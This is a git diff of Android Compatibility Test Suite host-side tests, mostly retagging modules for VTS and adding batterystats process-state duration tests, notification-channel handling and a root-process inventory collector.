diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
index a20895d..ff34e63 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsFramestatsTestApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
index f438d83..3f7bd08 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
index eff16cf..9b2e198 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
old mode 100644
new mode 100755
index bb1e2f9..6d341c8
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -407,7 +407,7 @@
     }
 
     private void checkBattery(String[] parts) {
-        assertEquals(15, parts.length);
+        assertEquals(16, parts.length);
         if (!parts[4].equals("N/A")) {
             assertInteger(parts[4]);  // startCount
         }
@@ -421,6 +421,7 @@
         long bEstCap = assertInteger(parts[12]); // batteryEstimatedCapacity
         assertInteger(parts[13]); // minLearnedBatteryCapacity
         assertInteger(parts[14]); // maxLearnedBatteryCapacity
+        long bDoze = assertInteger(parts[15]); // screenDozeTime
 
         // The device cannot be up more than there are real-world seconds.
         assertTrue("batteryRealtime must be >= batteryUptime", bReal >= bUp);
@@ -436,16 +437,20 @@
         assertTrue("batteryUptime must be >= batteryScreenOffUptime", bUp >= bOffUp);
         assertTrue("batteryScreenOffUptime must be >= 0", bOffUp >= 0);
         assertTrue("batteryEstimatedCapacity must be >= 0", bEstCap >= 0);
+        assertTrue("screenDozeTime must be >= 0", bDoze >= 0);
+        assertTrue("screenDozeTime must be <= batteryScreenOffRealtime", bDoze <= bOffReal);
     }
 
     private void checkBatteryDischarge(String[] parts) {
-        assertEquals(10, parts.length);
+        assertEquals(12, parts.length);
         assertInteger(parts[4]); // low
         assertInteger(parts[5]); // high
         assertInteger(parts[6]); // screenOn
         assertInteger(parts[7]); // screenOff
-        assertInteger(parts[8]); // dischargeCount
-        assertInteger(parts[9]); // dischargeScreenOffCount
+        assertInteger(parts[8]); // dischargeMah
+        assertInteger(parts[9]); // dischargeScreenOffMah
+        assertInteger(parts[10]); // dischargeDozeCount
+        assertInteger(parts[11]); // dischargeDozeMah
     }
 
     private void checkBatteryLevel(String[] parts) {
@@ -718,7 +723,8 @@
                 for (int i = 0; i < TIMESTAMP_COUNT; i++) {
                     numparts[i] = assertInteger(parts[i]);
                 }
-                if (numparts[0] != 0) {
+                // Flags = 1 just means the first frame of the window
+                if (numparts[0] != 0 && numparts[0] != 1) {
                     continue;
                 }
                 // assert VSYNC >= INTENDED_VSYNC
diff --git a/hostsidetests/edi/Android.mk b/hostsidetests/edi/Android.mk
index efa093f..c3b07ec 100644
--- a/hostsidetests/edi/Android.mk
+++ b/hostsidetests/edi/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsEdiHostTestCases
 
diff --git a/hostsidetests/edi/src/android/edi/cts/ProcessDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/ProcessDeviceInfo.java
new file mode 100644
index 0000000..fbedafd
--- /dev/null
+++ b/hostsidetests/edi/src/android/edi/cts/ProcessDeviceInfo.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.edi.cts;
+
+import com.android.compatibility.common.util.DeviceInfo;
+import com.android.compatibility.common.util.HostInfoStore;
+import com.android.compatibility.common.util.RootProcessScanner;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Set;
+
+public class ProcessDeviceInfo extends DeviceInfo {
+
+    @Override
+    protected void collectDeviceInfo(HostInfoStore store) throws Exception {
+        RootProcessScanner scanner = new RootProcessScanner(getDevice());
+        Set<String> approved = scanner.getRootProcesses(true);
+        store.addListResult("approved_root_processes", new ArrayList<String>(approved));
+        Set<String> unapproved = scanner.getRootProcesses(false);
+        store.addListResult("unapproved_root_processes", new ArrayList<String>(unapproved));
+    }
+}
diff --git a/hostsidetests/incident/Android.mk b/hostsidetests/incident/Android.mk
index 05a6353..b89bafe 100644
--- a/hostsidetests/incident/Android.mk
+++ b/hostsidetests/incident/Android.mk
@@ -20,7 +20,7 @@
 
 # tag this module as a cts test artifact
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsIncidentHostTestCases
 
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
index bf1858c..42c87f4 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
index 7e07641..e9482bf 100644
--- a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -25,6 +25,7 @@
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.READ_SYNC_STATS" />
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
     <application android:label="@string/app_name">
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index ef9925b..4570c30 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -32,6 +32,8 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
@@ -42,6 +44,10 @@
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.util.Log;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
 
 
 import org.junit.Assert;
@@ -53,6 +59,8 @@
 public class BatteryStatsBgVsFgActions {
     private static final String TAG = BatteryStatsBgVsFgActions.class.getSimpleName();
 
+    private static final int DO_NOTHING_TIMEOUT = 2000;
+
     public static final String KEY_ACTION = "action";
     public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
     public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
@@ -60,6 +68,9 @@
     public static final String ACTION_JOB_SCHEDULE = "action.jobs";
     public static final String ACTION_SYNC = "action.sync";
     public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+    public static final String ACTION_SLEEP_WHILE_BACKGROUND = "action.sleep_background";
+    public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+    public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
 
     public static final String KEY_REQUEST_CODE = "request_code";
 
@@ -92,12 +103,49 @@
             case ACTION_WIFI_SCAN:
                 doWifiScan(ctx, requestCode);
                 break;
+            case ACTION_SLEEP_WHILE_BACKGROUND:
+                sleep(DO_NOTHING_TIMEOUT);
+                tellHostActionFinished(ACTION_SLEEP_WHILE_BACKGROUND, requestCode);
+                break;
+            case ACTION_SLEEP_WHILE_TOP:
+                doNothingAsync(ctx, ACTION_SLEEP_WHILE_TOP, requestCode);
+                break;
+            case ACTION_SHOW_APPLICATION_OVERLAY:
+                showApplicationOverlay(ctx, requestCode);
+                break;
             default:
                 Log.e(TAG, "Intent had invalid action");
         }
         sleep(100);
     }
 
+    private static void showApplicationOverlay(Context ctx, String requestCode) {
+        final WindowManager wm = ctx.getSystemService(WindowManager.class);
+        Point size = new Point();
+        wm.getDefaultDisplay().getSize(size);
+
+        WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+                        | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+        wmlp.width = size.x / 4;
+        wmlp.height = size.y / 4;
+        wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
+        wmlp.setTitle(ctx.getPackageName());
+
+        ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+
+        View v = new View(ctx);
+        v.setBackgroundColor(Color.GREEN);
+        v.setLayoutParams(vglp);
+        wm.addView(v, wmlp);
+
+        tellHostActionFinished(ACTION_SHOW_APPLICATION_OVERLAY, requestCode);
+    }
+
     private static void doOptimizedBleScan(Context ctx, String requestCode) {
         ScanSettings scanSettings = new ScanSettings.Builder()
                 .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
@@ -231,6 +279,24 @@
         }.execute();
     }
 
+    private static void doNothingAsync(Context ctx, String requestCode, String actionCode) {
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                sleep(DO_NOTHING_TIMEOUT);
+                return null;
+            }
+
+            @Override
+            protected void onPostExecute(Void nothing) {
+                if (ctx instanceof Activity) {
+                    ((Activity) ctx).finish();
+                    tellHostActionFinished(actionCode, requestCode);
+                }
+            }
+        }.execute();
+    }
+
     private static void doSync(Context ctx, String requestCode) {
         BatteryStatsAuthenticator.removeAllAccounts(ctx);
         final Account account = BatteryStatsAuthenticator.getTestAccount();
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
index 5622e40..da00afc 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
@@ -16,6 +16,7 @@
 
 package com.android.server.cts.device.batterystats;
 
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.ACTION_SLEEP_WHILE_TOP;
 import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.ACTION_SYNC;
 import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_ACTION;
 import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_REQUEST_CODE;
@@ -49,9 +50,17 @@
 
         doAction(this, action, requestCode);
 
-        // ACTION_SYNC will finish itself. Others get finished here.
-        if (!ACTION_SYNC.equals(action)) {
+        if (!isActionAsync(action)) {
             finish();
         }
     }
+
+    private boolean isActionAsync(String action) {
+        switch (action) {
+            case ACTION_SYNC:
+            case ACTION_SLEEP_WHILE_TOP:
+                return true;
+        }
+        return false;
+    }
 }
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
index ce690a6..a53cc1b 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
@@ -17,8 +17,12 @@
 package com.android.server.cts.device.batterystats;
 
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.Service;
+import android.content.Context;
 import android.content.Intent;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.IBinder;
@@ -27,10 +31,14 @@
 import android.os.Process;
 import android.util.Log;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 public class SimpleForegroundService extends Service {
     private static final String TAG = "SimpleForegroundService";
+    private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
     private Looper mServiceLooper;
     private ServiceHandler mServiceHandler;
+    private boolean mChannelCreated;
 
     private final class ServiceHandler extends Handler {
         public ServiceHandler(Looper looper) {
@@ -67,11 +75,23 @@
         // Get the HandlerThread's Looper and use it for our Handler
         mServiceLooper = thread.getLooper();
         mServiceHandler = new ServiceHandler(mServiceLooper);
+
+        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
+            return;
+        }
+        // OMR1 requires notification channel to be set
+        NotificationManager notificationManager =
+                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_HIGH);
+        notificationManager.createNotificationChannel(channel);
+        mChannelCreated = true;
     }
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
-        Notification notification = new Notification.Builder(this, "Foreground Service")
+        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("CTS Foreground")
                 .setSmallIcon(android.R.drawable.ic_secure)
                 .build();
@@ -89,4 +109,13 @@
     public IBinder onBind(Intent intent) {
         return null;
     }
+
+    @Override
+    public void onDestroy () {
+        if (mChannelCreated) {
+            NotificationManager notificationManager =
+                    (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+            notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        }
+    }
 }
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
index 160f5d0..152414f 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
index 87b9857..191e9b7 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -39,7 +39,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
index ce3ea11..c2812c0 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
index 88ae35c..83ae82f 100644
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/storagedapp/Android.mk b/hostsidetests/incident/apps/storagedapp/Android.mk
index 69d597e..3028716 100644
--- a/hostsidetests/incident/apps/storagedapp/Android.mk
+++ b/hostsidetests/incident/apps/storagedapp/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 7d0e475..8a82416 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -20,7 +20,6 @@
 
 import com.google.common.base.Charsets;
 
-import java.util.Arrays;
 import java.util.Random;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -52,6 +51,18 @@
     public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
     public static final String FEATURE_WIFI = "android.hardware.wifi";
 
+    private static final int STATE_TIME_TOP_INDEX = 4;
+    private static final int STATE_TIME_FOREGROUND_SERVICE_INDEX = 5;
+    private static final int STATE_TIME_FOREGROUND_INDEX = 7;
+    private static final int STATE_TIME_BACKGROUND_INDEX = 8;
+    private static final int STATE_TIME_CACHED_INDEX = 9;
+
+    private static final long TIME_SPENT_IN_TOP = 2000;
+    private static final long TIME_SPENT_IN_FOREGROUND = 2000;
+    private static final long TIME_SPENT_IN_BACKGROUND = 2000;
+    private static final long TIME_SPENT_IN_CACHED = 2000;
+    private static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
+    private static final long SCREEN_STATE_POLLING_INTERVAL = 500;
 
     // Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
     public static final String KEY_ACTION = "action";
@@ -61,6 +72,9 @@
     public static final String ACTION_JOB_SCHEDULE = "action.jobs";
     public static final String ACTION_SYNC = "action.sync";
     public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+    public static final String ACTION_SLEEP_WHILE_BACKGROUND = "action.sleep_background";
+    public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+    public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
 
     public static final String KEY_REQUEST_CODE = "request_code";
     public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
@@ -93,6 +107,13 @@
         getDevice().executeShellCommand("wm dismiss-keyguard");
     }
 
+    /**
+     * This will send the screen to sleep
+     */
+    protected void turnScreenOffForReal() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+    }
+
     protected void batteryOnScreenOn() throws Exception {
         getDevice().executeShellCommand("dumpsys battery unplug");
         getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
@@ -146,20 +167,111 @@
         batteryOffScreenOn();
     }
 
+    private void startSimpleActivity() throws Exception {
+        getDevice().executeShellCommand(
+                "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
+    }
+
     public void testServiceForegroundDuration() throws Exception {
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
 
-        getDevice().executeShellCommand(
-                "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
-        assertValueRange("st", "", 5, 0, 0); // No foreground service time before test
+        startSimpleActivity();
+        assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, 0,
+                0); // No foreground service time before test
+        final long startTime = System.nanoTime();
         runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsProcessStateTests",
                 "testForegroundService");
-        assertValueRange("st", "", 5, (long) (2000 * 0.8), 4000);
-
+        assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, (long) (2000 * 0.8),
+                (System.nanoTime() - startTime) / 1000000);
         batteryOffScreenOn();
     }
 
+    public void testUidForegroundDuration() throws Exception {
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        // No foreground time before test
+        assertValueRange("st", "", STATE_TIME_FOREGROUND_INDEX, 0, 0);
+        turnScreenOnForReal();
+        assertScreenOn();
+        executeForeground(ACTION_SHOW_APPLICATION_OVERLAY, 2000);
+        Thread.sleep(TIME_SPENT_IN_FOREGROUND); // should be in foreground for about this long
+        assertApproximateTimeInState(STATE_TIME_FOREGROUND_INDEX, TIME_SPENT_IN_FOREGROUND);
+        batteryOffScreenOn();
+    }
+
+    public void testUidBackgroundDuration() throws Exception {
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        // No background time before test
+        assertValueRange("st", "", STATE_TIME_BACKGROUND_INDEX, 0, 0);
+        executeBackground(ACTION_SLEEP_WHILE_BACKGROUND, 4000);
+        assertApproximateTimeInState(STATE_TIME_BACKGROUND_INDEX, TIME_SPENT_IN_BACKGROUND);
+        batteryOffScreenOn();
+    }
+
+    public void testTopDuration() throws Exception {
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        // No top time before test
+        assertValueRange("st", "", STATE_TIME_TOP_INDEX, 0, 0);
+        turnScreenOnForReal();
+        assertScreenOn();
+        executeForeground(ACTION_SLEEP_WHILE_TOP, 4000);
+        assertApproximateTimeInState(STATE_TIME_TOP_INDEX, TIME_SPENT_IN_TOP);
+        batteryOffScreenOn();
+    }
+
+    public void testCachedDuration() throws Exception {
+        batteryOnScreenOff();
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        // No cached time before test
+        assertValueRange("st", "", STATE_TIME_CACHED_INDEX, 0, 0);
+        startSimpleActivity();
+        Thread.sleep(TIME_SPENT_IN_CACHED); // process should be in cached state for about this long
+        assertApproximateTimeInState(STATE_TIME_CACHED_INDEX, TIME_SPENT_IN_CACHED);
+        batteryOffScreenOn();
+    }
+
+    private void assertScreenOff() throws Exception {
+        final long deadLine = System.currentTimeMillis() + SCREEN_STATE_CHANGE_TIMEOUT;
+        boolean screenAwake = true;
+        do {
+            final String dumpsysPower = getDevice().executeShellCommand("dumpsys power").trim();
+            for (String line : dumpsysPower.split("\n")) {
+                if (line.contains("Display Power")) {
+                    screenAwake = line.trim().endsWith("ON");
+                    break;
+                }
+            }
+            Thread.sleep(SCREEN_STATE_POLLING_INTERVAL);
+        } while (screenAwake && System.currentTimeMillis() < deadLine);
+        assertFalse("Screen could not be turned off", screenAwake);
+    }
+
+    private void assertScreenOn() throws Exception {
+        // this also checks that the keyguard is dismissed
+        final long deadLine = System.currentTimeMillis() + SCREEN_STATE_CHANGE_TIMEOUT;
+        boolean screenAwake;
+        do {
+            final String dumpsysWindowPolicy =
+                    getDevice().executeShellCommand("dumpsys window policy").trim();
+            boolean keyguardStateLines = false;
+            screenAwake = true;
+            for (String line : dumpsysWindowPolicy.split("\n")) {
+                if (line.contains("KeyguardServiceDelegate")) {
+                    keyguardStateLines = true;
+                } else if (keyguardStateLines && line.contains("showing=")) {
+                    screenAwake &= line.trim().endsWith("false");
+                } else if (keyguardStateLines && line.contains("screenState=")) {
+                    screenAwake &= line.trim().endsWith("2");
+                }
+            }
+            Thread.sleep(SCREEN_STATE_POLLING_INTERVAL);
+        } while (!screenAwake && System.currentTimeMillis() < deadLine);
+        assertTrue("Screen could not be turned on", screenAwake);
+    }
+
     public void testBleScans() throws Exception {
         if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
             return;
@@ -401,6 +513,10 @@
         return uid;
     }
 
+    private void assertApproximateTimeInState(int index, long duration) throws Exception {
+        assertValueRange("st", "", index, (long) (0.8 * duration), 2 * duration);
+    }
+
     /**
      * Verifies that the recorded time for the specified tag and name in the test package
      * is within the specified range.
@@ -409,7 +525,6 @@
             int index, long min, long max) throws Exception {
         int uid = getUid();
         long value = getLongValue(uid, tag, optionalAfterTag, index);
-
         assertTrue("Value " + value + " is less than min " + min, value >= min);
         assertTrue("Value " + value + " is greater than max " + max, value <= max);
     }
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
index 67b8f9d..0e50a9c 100644
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ b/hostsidetests/inputmethodservice/common/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsInputMethodServiceCommon
 
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index 1986e5a..db742bf 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -36,7 +36,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
 
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
index c573ea4..6a74124 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
@@ -32,7 +32,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethod1
 
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
index dbbb460..a371c83 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
@@ -32,7 +32,7 @@
     CtsInputMethodServiceLib
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsInputMethod2
 
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
index 6977d6b..9fdcec6 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsInputMethodServiceLib
 
